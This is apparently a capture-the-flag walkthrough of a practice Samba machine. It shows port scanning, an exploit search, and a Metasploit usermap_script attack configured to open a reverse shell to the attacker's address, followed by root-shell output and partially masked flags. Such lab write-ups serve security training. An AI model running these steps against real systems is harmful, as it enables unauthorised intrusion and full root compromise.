```
--------------------------------------------------------------------------------
SMB exploitation
--------------------------------------------------------------------------------

└──╼ [★]$ ping 10.129.2.232

└──╼ [★]$ nmap -n -Pn -p1-65535 -sV 10.129.2.232

└──╼ [★]$ nmap -n -Pn -p21,22,139,445 -sV 10.129.2.232 -vv -A

search samba exploit on the web (eg ExploitDB) = Samba 3.0.20 has “username map script”
vulnerability
Exploit link: https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

or

└──╼ [★]$ searchsploit samba 3.0.20
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Securi | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow         | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow         | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py

then

└──╼ [★]$ msfconsole
msf5 > search usermap_script
msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > show options
msf5 exploit(multi/samba/usermap_script) > set RHOSTS 10.129.68.88
msf5 exploit(multi/samba/usermap_script) > set RPORT 139
msf5 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.61
msf5 exploit(multi/samba/usermap_script) > set LPORT 4444
run

[*] Command shell session 1 opened (10.10.14.61:4444 -> 10.129.68.88:40646) at 2020-12-22 16:03:41
+0000

whoami
root
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/# pwd
pwd
/
root@lame:/# cd root
cd root
root@lame:/root# ls -a
ls -a
.              .bashrc     .gconf           .profile  .vnc           vnc.log
..             .config     .gconfd          .purple   Desktop
.Xauthority    .filezilla  .gstreamer-0.10  .rhosts   reset_logs.sh
.bash_history  .fluxbox    .mozilla         .ssh      root.txt
root@lame:/root# wc -c root.txt
wc -c root.txt
33 root.txt
root@lame:/root# cat root.txt
cat root.txt
5f9231aab8a2********************
root@lame:/root#

/home/makis/user.txt
f47f706b74d9********************
```